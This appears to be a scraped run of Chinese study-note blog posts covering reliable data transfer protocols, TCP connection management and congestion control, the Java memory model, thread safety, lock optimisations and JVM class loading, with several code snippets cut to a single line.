在通常情况下,报文接收者在听到、理解并记下每句话后可能会说“OK”。如果报文接收者听到一句含糊不清的话时,他可能要求你重复刚才那句话。这种口述报文协议使用了 肯定确认(OK) 与 否定确认(请重复一遍) 。这些控制报文使得接收方可以让发送方知道哪些内容被正确接收,哪些内容接收有误并因此需要重复。在计算机网络环境中,基于这样重传机制的可靠数据传输协议称为 自动重传请求协议(Automate Repeat reQuest, ARQ) 。
实际上,ARQ协议中还需要提供三种协议功能来处理存在比特差错的情况:
发送方将不会发送一块新数据,除非发送方确信接收方已正确接收当前分组。由于这种行为,rdt 2.0这样的协议被称为停等协议(stop-and-wait)。
如果ACK或NAK分组在传输过程中受损怎么办?
解决这个问题的一个简单方法(几乎所有现有的数据传输协议中,包括TCP,都采用了这种方法)是在数据分组中添加一个新字段,让发送方对其数据分组编号,即将发送数据分组的序号放在该字段。
于是,接收方只需要检查序号即可确定收到的分组是否是一次重传。
对于停等协议这种简单情况,给序号字段分配一个比特位就足够了。(0或是1)
改进之后的rdt 2.1协议使用了从接收方到发送方的肯定确认和否定确认。当接收到 失序 的分组时,接收方对所接收的分组发送了一个肯定确认。如果收到受损的分组,则接收方将发送一个否定确认。
如果不发送NAK,而是对上次正确接收的分组发送一个ACK,我们也能实现与NAK一样的效果。发送方接收到对同一个分组的两个ACK(即接收 冗余ACK )后,就知道接收方没有正确接收到被确认两次的分组后面的分组。
rdt 2.2是在有比特差错信道上实现的一个无NAK的可靠数据传输协议。
rdt 2.1和rdt 2.2之间的细微变化在于,接收方此时必须包括由一个ACK报文所确认的分组序号,发送方此时必须检查接收到的ACK报文中被确认的分组序号。
现在假定除了比特受损外,底层信道还会丢包,这在今天的计算机网络(包括因特网)中并不罕见。协议现在必须处理另外两个关注的问题:怎样检测丢包以及发生丢包之后该做些什么。在rdt 2.2中已经研发的技术,如使用检验和、序号、ACK分组和重传等,使我们能给出后一个问题的答案。为解决第一个关注的问题,还需增加一种新的协议机制。
有很多方法可以用于解决丢包问题,这里,我们让发送方负责检测和恢复丢包工作。假定发送方传输一个数据分组,该分组或者接收方对该分组的ACK丢失。在这两种情况下,发送方都收不到应当到来的接收方的响应。
如果发送方愿意等待足够长的时间以便确定分组已丢失,则它只需重传该数据分组即可。
发送方至少需要等待这样长的时间:即发送方与接收方之间的一个往返时延(可能会包括在中间路由器的缓冲时延)加上接收方处理一个分组所需的时间。
实践中采取的方法是发送方明智地选择一个时间值,以判定可能发生了丢包。如果在这个时间内没有收到ACK,则重传该分组。注意到如果一个分组经历了一个特别大的时延,发送方可能会重传该分组,即使该数据分组及其ACK都没有丢失。
这就是发送方到接收方的信道中引入了冗余数据分组的可能性。幸运的是,rdt 2.2协议已经有足够的功能(即序号)来处理冗余分组情况。
停等方式存在性能问题,解决问题的一个方法是:允许发送方发送多个分组而无需等待确认。
因为许多从发送方向接收方输送的分组可以被看成是填充到一条流水线中,故这种技术被称为 流水线(pipelining) 。
流水线对可靠数据传输协议可带来如下影响:
在回退N步协议中,允许发送方发送多个分组(当有多个分组可用时)而不需等待确认,但它也受限于在流水线中未确认的分组数不能超过某个最大允许数N。
N常被称为窗口长度,GBN协议也常被称为 滑动窗口协议(sliding-window protocol) 。
为什么限制为N而不是无限制呢?后面我们知道流量控制是对发送方施加限制的原因之一。
在GBN协议中,对序号为n的分组的确认采取 累积确认 的方式,表明接收方已正确接收到序号为n的以前且包括n在内的所有分组。
协议的名字“回退N步”来源于出现丢失和时延过长分组时发送方的行为,如果出现超时,发送方重传所有已发送但还未被确认过的分组。
然而,GBN本身也有一些情况存在着性能问题。尤其是当窗口长度和带宽时延都很大时,在流水线中会有很多分组更是如此。单个分组的差错就能够引起GBN重传大量分组,许多分组根本没有必要重传。随着信道差错率的增加,流水线可能会被这些不必要重传的分组所充斥。
顾名思义,选择重传协议通过让发送方仅重传那些它怀疑在接收方出错(即丢失或受损)的分组而避免了不必要的重传。
TCP连接提供的是全双工服务。
1 |
|
序号 :用于对字节流进行编号,例如序号为 301,表示第一个字节的编号为 301,如果携带的数据长度为 100 字节,那么下一个报文段的序号应为 401。
确认号 :期望收到的下一个报文段的序号。例如 B 正确收到 A 发送来的一个报文段,序号为 501,携带的数据长度为 200 字节,因此 B 期望下一个报文段的序号为 701,B 发送给 A 的确认报文段中确认号就为 701。
数据偏移 :指的是数据部分距离报文段起始处的偏移量,实际上指的是首部的长度。
确认 ACK :当 ACK=1 时确认号字段有效,否则无效。TCP 规定,在连接建立后所有传送的报文段都必须把 ACK 置 1。
同步 SYN :在连接建立时用来同步序号。当 SYN=1,ACK=0 时表示这是一个连接请求报文段。若对方同意建立连接,则响应报文中 SYN=1,ACK=1。
终止 FIN :用来释放一个连接,当 FIN=1 时,表示此报文段的发送方的数据已发送完毕,并要求释放连接。
窗口 :窗口值作为接收方让发送方设置其发送窗口的依据。之所以要有这个限制,是因为接收方的数据缓存空间是有限的。
假设 A 为客户端,B 为服务器端。
首先 B 处于 LISTEN(监听)状态,等待客户的连接请求。
A 向 B 发送连接请求报文,SYN=1,ACK=0,选择一个初始的序号 x。
B 收到连接请求报文,如果同意建立连接,则向 A 发送连接确认报文,SYN=1,ACK=1,确认号为 x+1,同时也选择一个初始的序号 y。
A 收到 B 的连接确认报文后,还要向 B 发出确认,确认号为 y+1,序号为 x+1。
B 收到 A 的确认后,连接建立。
三次握手的原因
第三次握手是为了防止失效的连接请求到达服务器,让服务器错误打开连接。
客户端发送的连接请求如果在网络中滞留,那么就会隔很长一段时间才能收到服务器端发回的连接确认。客户端等待一个超时重传时间之后,就会重新请求连接。但是这个滞留的连接请求最后还是会到达服务器,如果不进行三次握手,那么服务器就会打开两个连接。如果有第三次握手,客户端会忽略服务器之后发送的对滞留连接请求的连接确认,不进行第三次握手,因此就不会再次打开连接。
以下描述不讨论序号和确认号,因为序号和确认号的规则比较简单。并且不讨论 ACK,因为 ACK 在连接建立之后都为 1。
A 发送连接释放报文,FIN=1。
B 收到之后发出确认,此时 TCP 属于半关闭状态,B 能向 A 发送数据但是 A 不能向 B 发送数据。
当 B 不再需要连接时,发送连接释放报文,FIN=1。
A 收到后发出确认,进入 TIME-WAIT 状态,等待 2 MSL(最大报文存活时间)后释放连接。
B 收到 A 的确认后释放连接。
四次挥手的原因
客户端发送了 FIN 连接释放报文之后,服务器收到了这个报文,就进入了 CLOSE-WAIT 状态。这个状态是为了让服务器端发送还未传送完毕的数据,传送完毕之后,服务器会发送 FIN 连接释放报文。
TIME_WAIT
客户端接收到服务器端的 FIN 报文后进入此状态,此时并不是直接进入 CLOSED 状态,还需要等待一个时间计时器设置的时间 2MSL。这么做有两个理由:
确保最后一个确认报文能够到达。如果 B 没收到 A 发送来的确认报文,那么就会重新发送连接释放请求报文,A 等待一段时间就是为了处理这种情况的发生。
等待一段时间是为了让本连接持续时间内所产生的所有报文都从网络中消失,使得下一个新的连接不会出现旧的连接请求报文。
窗口是缓存的一部分,用来暂时存放字节流。发送方和接收方各有一个窗口,接收方通过 TCP 报文段中的窗口字段告诉发送方自己的窗口大小,发送方根据这个值和其它信息设置自己的窗口大小。
发送窗口内的字节都允许被发送,接收窗口内的字节都允许被接收。如果发送窗口左部的字节已经发送并且收到了确认,那么就将发送窗口向右滑动一定距离,直到左部第一个字节不是已发送并且已确认的状态;接收窗口的滑动类似,接收窗口左部字节已经发送确认并交付主机,就向右滑动接收窗口。
接收窗口只会对窗口内最后一个按序到达的字节进行确认,例如接收窗口已经收到的字节为 {31, 34, 35},其中 {31} 按序到达,而 {34, 35} 就不是,因此只对字节 31 进行确认。发送方得到一个字节的确认之后,就知道这个字节之前的所有字节都已经被接收。
流量控制是为了控制发送方发送速率,保证接收方来得及接收。
接收方发送的确认报文中的窗口字段可以用来控制发送方窗口大小,从而影响发送方的发送速率。将窗口字段设置为 0,则发送方不能发送数据。
如果网络出现拥塞,分组将会丢失,此时发送方会继续重传,从而导致网络拥塞程度更高。因此当出现拥塞时,应当控制发送方的速率。这一点和流量控制很像,但是出发点不同。流量控制是为了让接收方能来得及接收,而拥塞控制是为了降低整个网络的拥塞程度。
TCP 主要通过四个算法来进行拥塞控制:慢开始、拥塞避免、快重传、快恢复。
发送方需要维护一个叫做拥塞窗口(cwnd)的状态变量,注意拥塞窗口与发送方窗口的区别:拥塞窗口只是一个状态变量,实际决定发送方能发送多少数据的是发送方窗口。
为了便于讨论,做如下假设:
发送的最初执行慢开始,令 cwnd = 1,发送方只能发送 1 个报文段;当收到确认后,将 cwnd 加倍,因此之后发送方能够发送的报文段数量为:2、4、8 …
注意到慢开始每个轮次都将 cwnd 加倍,这样会让 cwnd 增长速度非常快,从而使得发送方发送的速度增长速度过快,网络拥塞的可能性也就更高。设置一个慢开始门限 ssthresh,当 cwnd >= ssthresh 时,进入拥塞避免,每个轮次只将 cwnd 加 1。
如果出现了超时,则令 ssthresh = cwnd / 2,然后重新执行慢开始。
在接收方,要求每次接收到报文段都应该对最后一个已收到的有序报文段进行确认。例如已经接收到 M1 和 M2,此时收到 M4,应当发送对 M2 的确认。
在发送方,如果收到三个重复确认,那么可以知道下一个报文段丢失,此时执行快重传,立即重传下一个报文段。例如收到三个 M2,则 M3 丢失,立即重传 M3。
在这种情况下,只是丢失个别报文段,而不是网络拥塞。因此执行快恢复,令 ssthresh = cwnd / 2 ,cwnd = ssthresh,注意到此时直接进入拥塞避免。
慢开始和快恢复的快慢指的是 cwnd 的设定值,而不是 cwnd 的增长速率。慢开始 cwnd 设定为 1,而快恢复 cwnd 设定为 ssthresh。
]]>图源 github.com/cyc2018
处理器上的寄存器的读写的速度比内存快几个数量级,为了解决这种速度矛盾,在它们之间加入了高速缓存。
加入高速缓存带来了一个新的问题:缓存一致性。如果多个缓存共享同一块主内存区域,那么多个缓存的数据可能会不一致,需要一些协议来解决这个问题。
Java 内存模型试图屏蔽各种硬件和操作系统的内存访问差异,以实现让 Java 程序在各种平台下都能达到一致的内存访问效果。
Java内存模型规定了所有的变量都存储在主内存中,每条线程还有自己的工作内存,线程的工作内存中保存了被该线程使用到的变量的主内存副本拷贝,线程对变量的所有操作(读取、赋值等)都必须在 工作内存 中进行,而不能直接读写 主内存 中的变量。
不同的线程之间也无法直接访问对方工作内存中的变量,线程间变量值的传递均需要通过主内存来完成,线程、主内存、工作内存三者的交互关系如下。
Java 内存模型定义了 8 个操作来完成主内存和工作内存的交互操作,虚拟机实现时必须保证下面提及的每一种操作都是原子的、不可再分的。
这8种内存访问操作以及相应的规则,再加上对volatile的一些特殊规定,就已经完全确定了Java程序中哪些内存访问操作在并发下是安全的。
关键字volatile可以说是Java虚拟机提供的最轻量级的同步机制,但是它并不容易完全被正确、完整地理解,以至于许多程序员都习惯不去使用它,遇到需要处理多线程数据竞争问题的时候一律使用synchronized来进行同步。
当一个变量定义为volatile之后,它将具备两种特性。
第一是保证此变量对所有线程的可见性,这里的“可见性”是指当一条线程修改了这个变量的值,新值对于其他线程来说是可以立即得知的。而普通变量不能做到这一点,普通变量的值在线程间传递均需要通过主内存来完成。
但是Java里面的运算并非原子操作,导致volatile变量的运算在并发下一样是不安全的。
1 | public class VolatileTest { |
运行这个示例并会获得期望的结果,问题就出现在自增运算“race++”之中,在字节码层面,increase()
这行代码由4条字节码指令构成:
1 | public static void increase(); |
当getstatic指令把race的值取到栈顶时,volatile关键字保证了race的值在此时是正确的,但是在执行iconst_1、iadd这些指令的时候,其他线程可能已经把race的值加大了,而在操作数栈顶的值就变成了过期的数据。所以putstatic指令执行后就可能把较小的race值同步回主内存值中。
由于volatile变量只能保证可见性,在不符合以下两条规则的运算场景中,我们仍然要通过加锁(使用synchronized或java.util.concurrent中的原子类)来保证原子性。
以下场景就很适合使用volatile变量来控制并发:
1 | volatile boolean shutdownRequested; |
普通的变量仅仅会保证在该方法的执行过程中所有依赖赋值结果的地方都能获取到正确的结果,而不能保证变量赋值操作的顺序与程序代码中的执行顺序一致。
1.原子性: 由Java内存模型来直接保证的原子性变量操作包括read, load, assign, use, store和write,我们大致可以认为基本数据类型的访问读写是具有原子性的(例外就是long和double的非原子性协定)。
如果应用场景需要一个更大范围的原子性保证,Java内存模型还提供了lock和unlock操作来满足这种需求,尽管虚拟机未把lock和unlock操作直接开放给用户使用,但是却提供了更高层次的字节码指令monitorenter和monitorexit来隐式地使用这两个操作,这两个字节码指令反映到Java代码中就是同步块————synchronized关键字,因此在synchronized块之间的操作也具备原子性。
2.可见性: 可见性是指当一个线程修改了共享变量的值,其他线程能够立即得知这个修改。
除了volatile之外,Java还有两个关键字能实现可见性,即synchronized和final。
3.有序性: Java程序中天然的有序性可以总结为一句话: 如果是在本线程内观察,所有的操作都是有序的;如果在一个线程中观察另一个线程,所有的操作都是无序的。前半句是指“线程内表现为串行的语义”,后半句是指“指令重排序”现象和“工作内存与主内存同步延迟”现象。
先行发生是Java内存模型中定义的两项操作之间的偏序关系,如果说操作A先行发生于操作B,其实就是说发生操作B之前,操作A产生的影响能被操作B观察到,“影响”包括修改了内存中共享变量的值、发送了消息、调用了方法等。
1.程序次序原则
在一个线程内,按照控制流顺序,前面的操作先行发生于后面的操作。
2.管程锁定规则
一个 unlock 操作先行发生于后面对 同一个锁 的 lock 操作。
3.volatile 变量规则
对一个 volatile 变量的写操作先行发生于后面对这个变量的读操作。
4.线程启动规则
Thread 对象的 start() 方法调用先行发生于此线程的每一个动作。
5.线程终止规则
Thread 对象的结束先行发生于 join() 方法返回。
6.线程中断规则
对线程 interrupt() 方法的调用先行发生于被中断线程的代码检测到中断事件的发生,可以通过 interrupted() 方法检测到是否有中断发生。
7.对象终结原则
一个对象的初始化完成(构造函数执行结束)先行发生于它的 finalize() 方法的开始。
8.传递性
如果操作 A 先行发生于操作 B,操作 B 先行发生于操作 C,那么操作 A 先行发生于操作 C。
线程是比进程更轻量级的调度执行单位,线程的引用,可以把一个进程的资源分配和执行调度分开,各个线程既可以共享进程资源(内存地址、文件I/O等),又可以独立调度(线程是CPU调度的基本单位)。
实现线程主要有3种方式: 使用内核线程实现、使用用户线程实现和使用用户线程加轻量级线程混合实现。
Java线程在JDK 1.2之前,是基于成为“绿色线程”的用户线程实现的,而在JDK 1.2中,线程模型替换为基于操作系统原生线程模型来实现。
线程调度是指系统为线程分配处理器使用权的过程,主要调度方式有两种,分别是
1.协同式线程调度
使用协同式调度的多线程系统,线程的执行时间由线程本身来控制,线程把自己的工作执行完了之后,要主动通知系统切换到另外一个线程上。
好处: 实现简单,线程自己决定自己的执行时间
坏处: 线程执行时间不可控制,如果一个线程编写有问题,一直不告知系统进行线程切换,那么程序就会一直阻塞在哪里。
2.抢占式线程调度
使用抢占式调度的多线程系统,每个线程将由系统来分配执行时间,线程的切换不由线程本身来决定。
创建后尚未启动。
可能正在运行,也可能正在等待 CPU 为它分配执行时间。
Runnable包括了操作系统线程状态中的 Running 和 Ready。
等待其它线程显式地唤醒,否则不会被分配 CPU 执行时间。
无需等待其它线程显式地唤醒,在一定时间之后会被系统自动唤醒。
线程被阻塞了,“阻塞状态”与“等待状态”的区别是:“阻塞状态”在等待着获取一个排他锁,这个事件将在另外一个线程放弃这个锁的时候发生;而“等待状态”则是等待一段时间,或者唤醒动作的发生。
在程序等待进入同步区域的时候,线程将进入这种状态。
可以是线程结束任务之后自己结束,或者产生了异常而结束。
当多个线程访问一个对象时,如果不用考虑这些线程在运行时环境下的调度和交替执行,也不需要进行额外的同步,或者在调用方进行任何其他的协调操作,调用这个对象的行为都可以获得正确的结果,那这个对象是线程安全的。
按照线程安全的“安全程度”由强至弱来排序,我们可以将Java语言中各种操作共享的数据分为以下5类:不可变、绝对线程安全、相对线程安全、线程兼容和线程对立。
在Java语言中(特指JDK 1.5以后,即Java内存模型被修正之后的Java语言),不可变的对象一定是线程安全的,无论是对象的方法实现还是方法的调用这,都不需要再采取任何的线程安全保障措施。
只要一个不可变的对象被正确地构建出来(没有发生this引用逃逸的情况),那其外部的可见状态永远也不会改变,,永远也不会看到它在多个线程之中处于不一致的状态。
Java API中符合不可变要求的类型:
相对的线程安全就是我们通常意义上所讲的线程安全,它需要保证对这个对象单独的操作是线程安全的,我们在调用的时候不需要做额外的保障措施,但是对于一些特定顺序的连续调用,就可能需要在调用端使用额外的同步手段来保证调用的正确性。
例如 Vector, Collections.synchronizedCollection()方法包装的集合等。
线程兼容是指对象本身并不是线程安全的,但是可以通过在调用端正确地使用同步手段来保证对象在并发环境中可以安全地使用。
例如 ArrayList和HashMap等。
线程对立是指无论调用端是否采取了同步设施,都无法在多线程环境中并发使用的代码。
例如Thread类的suspend()和resume()方法。
在Java中,最基本的互斥同步手段就是synchronized关键字,synchronized关键字经过编译之后,会在同步块的前后分别形成monitorenter和monitorexit这两个字节码指令。
在执行monitorenter指令时,首先要尝试获取对象的锁。如果这个对象没被锁定,或者当前线程已经拥有了那个对象的锁,把锁的计数器加1,相应的,在执行monitorexit指令时会将锁计数器减1,当计数器为0时,锁就被释放。如果获取对象锁失败,那当前线程就要阻塞等待,知道对象锁被另外一个线程释放为止。
Java的线程是映射到操作系统的原生线程之上的,如果要阻塞或唤醒一个线程,都需要操作系统来帮忙完成,这就需要从用户态转换到核心态中,因此状态转换需要耗费很多的处理器时间,所以synchronized是Java语言中一个重量级的操作。
synchronized是原生语法层面的互斥锁,而java.util.concurrent中的重入锁(ReentrantLock)表现为API层面的互斥锁(lock()和unlock()方法配合try/finally语句块来完成)。
除此之外,ReentrantLock增加了一些高级功能,主要有以下3项: 等待可中断、可实现公平锁,以及锁可以绑定多个条件。
公平锁是指多个线程在等待同一个锁时,必须按照申请锁的时间顺序来依次获得锁;而非公平锁咋不保证这一点,在锁被释放时,任何一个等待锁的线程都有机会获得锁。
synchronized中的锁是非公平的,ReentrantLock默认情况下也是非公平的,但可以通过带布尔值的构造函数要求使用公平锁。
互斥同步最主要的问题就是线程阻塞和唤醒所带来的性能问题,因此这种同步也称为阻塞同步。
互斥同步属于一种悲观的并发策略,总是认为只要不去做正确的同步措施,那就肯定会出现问题。无论共享数据是否真的会出现竞争,它都要进行加锁(这里讨论的是概念模型,实际上虚拟机会优化掉很大一部分不必要的加锁)、用户态核心态转换、维护锁计数器和检查是否有被阻塞的线程需要唤醒等操作。
随着硬件指令集的发展,我们可以使用基于冲突检测的乐观并发策略:先进行操作,如果没有其它线程争用共享数据,那操作就成功了,否则采取补偿措施(不断地重试,直到成功为止)。这种乐观的并发策略的许多实现都不需要将线程阻塞,因此这种同步操作称为非阻塞同步。
硬件保证一个从语义上看起来需要多次操作的行为只通过一条处理器指令就能完成,这类指令常用的有:
CAS 指令需要有 3 个操作数,分别是内存地址 V、旧的预期值 A 和新值 B。当执行操作时,只有当 V 的值等于 A,才将 V 的值更新为 B。
在JDK 1.5之后,Java程序中才可以使用CAS操作,该操作由sun.misc.Unsafe类里面的compareAndSetInt()等方法包装提供。
由于Unsafe类不是提供给用户程序调用的类,因此,如果不采用反射手段,我们只能通过其他的Java API来间接使用它,如JUC包中的整数原子类。
1 | //AtomicInteger.incrementAndGet() |
如果一个变量初次读取的时候是 A 值,它的值被改成了 B,后来又被改回为 A,那 CAS 操作就会误认为它从来没有被改变过。
J.U.C 包提供了一个带有标记的原子引用类 AtomicStampedReference 来解决这个问题,它可以通过控制变量值的版本来保证 CAS 的正确性。大部分情况下 ABA 问题不会影响程序并发的正确性,如果需要解决 ABA 问题,改用传统的互斥同步可能会比原子类更高效。
要保证线程安全,并不是一定就要进行同步。如果一个方法本来就不涉及共享数据,那它自然就无须任何同步措施去保证正确性。
有一些代码天生就是线程安全的,其中两类是:
1.可重入代码
这种代码也叫做纯代码,可以在代码执行的任何时刻中断它,转而去执行另外一段代码(包括递归调用它本身),而在控制权返回后,原来的程序不会出现任何错误。
可重入代码有一些共同的特征,例如不依赖存储在堆上的数据和公用的系统资源、用到的状态量都由参数中传入、不调用非可重入的方法等。
2.线程本地存储
如果一段代码中所需要的数据必须与其他代码共享,那就看看这些共享数据的代码是否能保证在同一个线程中执行。如果能保证,我们就可以把共享数据的可见范围限制在同一个线程之内,这样,无须同步也能保证线程之间不出现数据争用的问题。
符合这种特点的应用并不少见,大部分使用消费队列的架构模式(如“生产者-消费者”模式)都会将产品的消费过程尽量在一个线程中消费完。其中最重要的一个应用实例就是经典 Web 交互模型中的“一个请求对应一个服务器线程”(Thread-per-Request)的处理方式,这种处理方式的广泛应用使得很多 Web 服务端应用都可以使用线程本地存储来解决线程安全问题。
可以使用 java.lang.ThreadLocal 类来实现线程本地存储功能。
互斥同步进入阻塞状态的开销都很大,应该尽量避免。在许多应用中,共享数据的锁定状态只会持续很短的一段时间。自旋锁的思想是让一个线程在请求一个共享数据的锁时执行忙循环(自旋)一段时间,如果在这段时间内能获得锁,就可以避免进入阻塞状态。
自旋锁虽然能避免进入阻塞状态从而减少开销,但是它需要进行忙循环操作占用 CPU 时间,它只适用于共享数据的锁定状态很短的场景。
在 JDK 1.6 中引入了自适应的自旋锁。自适应意味着自旋的次数不再固定了,而是由前一次在同一个锁上的自旋次数及锁的拥有者的状态来决定。
锁消除是指对于被检测出不可能存在竞争的共享数据的锁进行消除。
锁消除主要是通过逃逸分析来支持,如果堆上的共享数据不可能逃逸出去被其它线程访问到,那么就可以把它们当成私有数据对待,也就可以将它们的锁进行消除。
对于一些看起来没有加锁的代码,其实隐式的加了很多锁。例如下面的字符串拼接代码就隐式加了锁:
1 | public static String concatString(String s1, String s2, String s3) { |
String 是一个不可变的类,编译器会对 String 的拼接自动优化。在 JDK 1.5 之前,会转化为 StringBuffer 对象的连续 append() 操作:
1 | public static String concatString(String s1, String s2, String s3) { |
每个 append() 方法中都有一个同步块。虚拟机观察变量 sb,很快就会发现它的动态作用域被限制在 concatString() 方法内部。也就是说,sb 的所有引用永远不会逃逸到 concatString() 方法之外,其他线程无法访问到它,因此可以进行消除。
如果一系列的连续操作都对同一个对象反复加锁和解锁,频繁的加锁操作就会导致性能损耗。
上一节的示例代码中连续的 append() 方法就属于这类情况。如果虚拟机探测到由这样的一串零碎的操作都对同一个对象加锁,将会把加锁的范围扩展(粗化)到整个操作序列的外部。对于上一节的示例代码就是扩展到第一个 append() 操作之前直至最后一个 append() 操作之后,这样只需要加锁一次就可以了。
轻量级锁是相对于传统的重量级锁而言,它使用 CAS 操作来避免重量级锁使用互斥量的开销。对于绝大部分的锁,在整个同步周期内都是不存在竞争的,因此也就不需要都使用互斥量进行同步,可以先采用 CAS 操作进行同步,如果 CAS 失败了再改用互斥量进行同步。
JDK 1.6 引入了偏向锁和轻量级锁,从而让锁拥有了四个状态:未锁定、轻量级锁、膨胀(重量级锁定)和可偏向。
以下是 HotSpot 虚拟机对象头的内存布局,这些数据被称为 Mark Word。其中 tag bits 对应了五个状态,这些状态在右侧的 state 表格中给出。除了 marked for gc 状态,其它四个状态已经在前面介绍过了。
下图左侧是一个线程的虚拟机栈,其中有一部分称为 Lock Record 的区域,这是在轻量级锁运行过程创建的,用于存放锁对象的 Mark Word。而右侧就是一个锁对象,包含了 Mark Word 和其它信息。
当尝试获取一个锁对象时,如果锁对象标记为 0 01,说明锁对象的锁未锁定(unlocked)状态。此时虚拟机在当前线程的虚拟机栈中创建 Lock Record,然后使用 CAS 操作将对象的 Mark Word 更新为 Lock Record 指针。如果 CAS 操作成功了,那么线程就获取了该对象上的锁,并且对象的 Mark Word 的锁标记变为 00,表示该对象处于轻量级锁状态。
如果 CAS 操作失败了,虚拟机首先会检查对象的 Mark Word 是否指向当前线程的虚拟机栈,如果是的话说明当前线程已经拥有了这个锁对象,那就可以直接进入同步块继续执行,否则说明这个锁对象已经被其他线程线程抢占了。如果有两条以上的线程争用同一个锁,那轻量级锁就不再有效,要膨胀为重量级锁。
偏向锁的思想是偏向于让第一个获取锁对象的线程,这个线程在之后获取该锁就不再需要进行同步操作,甚至连 CAS 操作也不再需要。
当锁对象第一次被线程获得的时候,进入偏向状态,标记为 1 01。同时使用 CAS 操作将线程 ID 记录到 Mark Word 中,如果 CAS 操作成功,这个线程以后每次进入这个锁相关的同步块就不需要再进行任何同步操作。
当有另外一个线程去尝试获取这个锁对象时,偏向状态就宣告结束,此时撤销偏向(Revoke Bias)后恢复到未锁定状态或者轻量级锁状态。
]]>图源 github.com/cyc2018
对于初始化阶段,虚拟机规范严格规定了 有且只有 5种情况必须立即对类进行“初始化”(而加载、验证、准备自然需要在此之前开始):
REF_getStatic, REF_putStatic, REF_invokeStatic
的方法句柄,并且这个方法所对应的类没有进行过初始化,则需要先触发其初始化。这5种场景中的行为称为对一个类进行 主动引用 ,除此之外,所有引用类的方法都不会触发初始化,称为被动引用。
1.通过子类引用父类的静态字段,不会导致子类初始化。
1 | public class Super { |
对于静态字段,只有直接定义这个字段的类才会被初始化,因此通过其子类来引用父类中定义的静态字段,只会触发父类的初始化而不会触发子类的初始化。
2.通过数组定义来引用类,不会触发此类的初始化。该过程会对数组类([LSuper
)进行初始化,数组类是一个由虚拟机自动生成的、直接继承自 Object 的子类,其中包含了数组的属性和方法。
1 | public class NotInitialization { |
3.常量传播优化
1 | public class ConstClass { |
上述代码运行之后,也没有输出“ConstClass init!”,这是因为虽然在Java源码中引用了ConstClass类中的变量HELLOWORLD,但其实在 编译阶段 通过 常量传播优化 , 已经将此常量的值“hello world”存储到了NonInitialization类的常量池中,以后NonInitialization对常量ConstClass.HELLOWORLD的引用实际都被转化为NotInitialization类对自身常量池的引用了。
也就是说,实际上NotInitialization的Class文件之中并没有ConstClass类的符号引用入口,这两个类在编译成Class之后就不存在任何联系了。
加载是类加载的一个阶段,注意不要混淆。
加载过程完成以下三件事:
其中二进制字节流可以从以下方式中获取:
可以通过定义自己的类加载器去控制非数组类(数组类本身不通过类加载器创建,它是由Java虚拟机直接创建的)的字节流的获取方式。
加载阶段完成后,虚拟机外部的二进制字节流就按照虚拟机所需的格式存储在方法区之中,然后在内存中实例化一个java.lang.Class类的对象(对于HotSpot虚拟机而言,Class对象比较特殊,存放在方法区里面,而不是在Java堆中)。
确保 Class 文件的字节流中包含的信息符合当前虚拟机的要求,并且不会危害虚拟机自身的安全。
准备阶段是正式为类变量分配内存并且设置类变量初始值的阶段,这些变量所使用的内存都将在方法区中进行分配。
初始值“通常情况”下是数据类型的零值。如public static int value = 123;
在准备阶段过后的初始值为0。
而public static final int value = 123;
在准备阶段过后的初始值为123。
解析阶段是虚拟机将常量池内的符号引用替换为直接引用的过程。
其中,符号引用以一组符号来描述所引用的目标,符号可以是任何形式的字面量,只要使用时能无歧义地定位到目标即可。符号引用与虚拟机实现的内存布局无关,引用的目标 并不一定 已经加载到内存中。
直接引用可以是直接指向目标的指针、相对偏移量或是一个能够间接定位到目标的句柄。如果有了直接引用,那引用的目标 必定 已经在内存中存在。
类初始化阶段是类加载过程的最后一步,前面的类加载过程中,除了在加载阶段用户应用程序可以通过自定义类加载器参与之外,其余动作完全由虚拟机主导。到了初始化阶段,才真正开始执行类中定义的Java程序代码(或者说是字节码)。
在准备阶段,类变量已经赋过一次系统要求的初始值,而在初始化阶段,根据程序员通过程序制定的主观计划去初始化类变量和其它资源。或者从另外一个角度来表达:初始化阶段是执行类构造器<clinit>()
方法的过程。
虚拟机设计团队把类加载阶段中的“通过一个类的全限定名来获取定义此类的二进制字节流”这个动作放到Java虚拟机外部去实现,以便让引用程序自己决定如何去获取所需要的类。实现这个动作的代码模块成为“类加载器”。
最初是为了满足Java Applet的需求而开发出来的,目前类加载器主要用在类层次划分、OSGi、热部署、代码加密等领域。
两个类相等,需要类本身相等,并且使用同一个类加载器进行加载。这是因为每一个类加载器都拥有一个独立的类名称空间。
这里的相等,包括类的 Class 对象的 equals() 方法、isAssignableFrom() 方法、isInstance() 方法的返回结果为 true,也包括使用 instanceof 关键字做对象所属关系判定结果为 true。
从 Java 虚拟机的角度来讲,只存在以下两种不同的类加载器:
启动类加载器(Bootstrap ClassLoader),使用 C++ 实现,是虚拟机自身的一部分;
所有其它类的加载器,使用 Java 实现,独立于虚拟机,继承自抽象类 java.lang.ClassLoader。
从 Java 开发人员的角度看,类加载器可以划分得更细致一些:
启动类加载器(Bootstrap ClassLoader)此类加载器负责将存放在 <JRE_HOME>\lib 目录中的,或者被 -Xbootclasspath 参数所指定的路径中的,并且是虚拟机识别的(仅按照文件名识别,如 rt.jar,名字不符合的类库即使放在 lib 目录中也不会被加载)类库加载到虚拟机内存中。启动类加载器无法被 Java 程序直接引用,用户在编写自定义类加载器时,如果需要把加载请求委派给启动类加载器,直接使用 null 代替即可。
扩展类加载器(Extension ClassLoader)这个类加载器是由 ExtClassLoader(sun.misc.Launcher$ExtClassLoader)实现的。它负责将 <JAVA_HOME>/lib/ext 或者被 java.ext.dir 系统变量所指定路径中的所有类库加载到内存中,开发者可以直接使用扩展类加载器。
应用程序类加载器(Application ClassLoader)这个类加载器是由 AppClassLoader(sun.misc.Launcher$AppClassLoader)实现的。由于这个类加载器是 ClassLoader 中的 getSystemClassLoader() 方法的返回值,因此一般称为系统类加载器。它负责加载用户类路径(ClassPath)上所指定的类库,开发者可以直接使用这个类加载器,如果应用程序中没有自定义过自己的类加载器,一般情况下这个就是程序中默认的类加载器。
应用程序都是由三种类加载器相互配合进行加载的,如果有必要,还可以加入自己定义的类加载器。
下图展示的类加载器之间的层次关系,称为类加载器的双亲委派模型(Parents Delegation Model)。该模型要求除了顶层的启动类加载器外,其余的类加载器都要有自己的父类加载器。这里类加载器之间的父子关系一般通过组合(Composition)关系来实现,而不是通过继承(Inheritance)的关系实现。
一个类加载器首先将类加载请求传送到父类加载器,只有当父类加载器无法完成类加载请求时才尝试自己加载。
使得 Java 类随着它的类加载器一起具有一种带有优先级的层次关系,从而使得基础类得到统一。
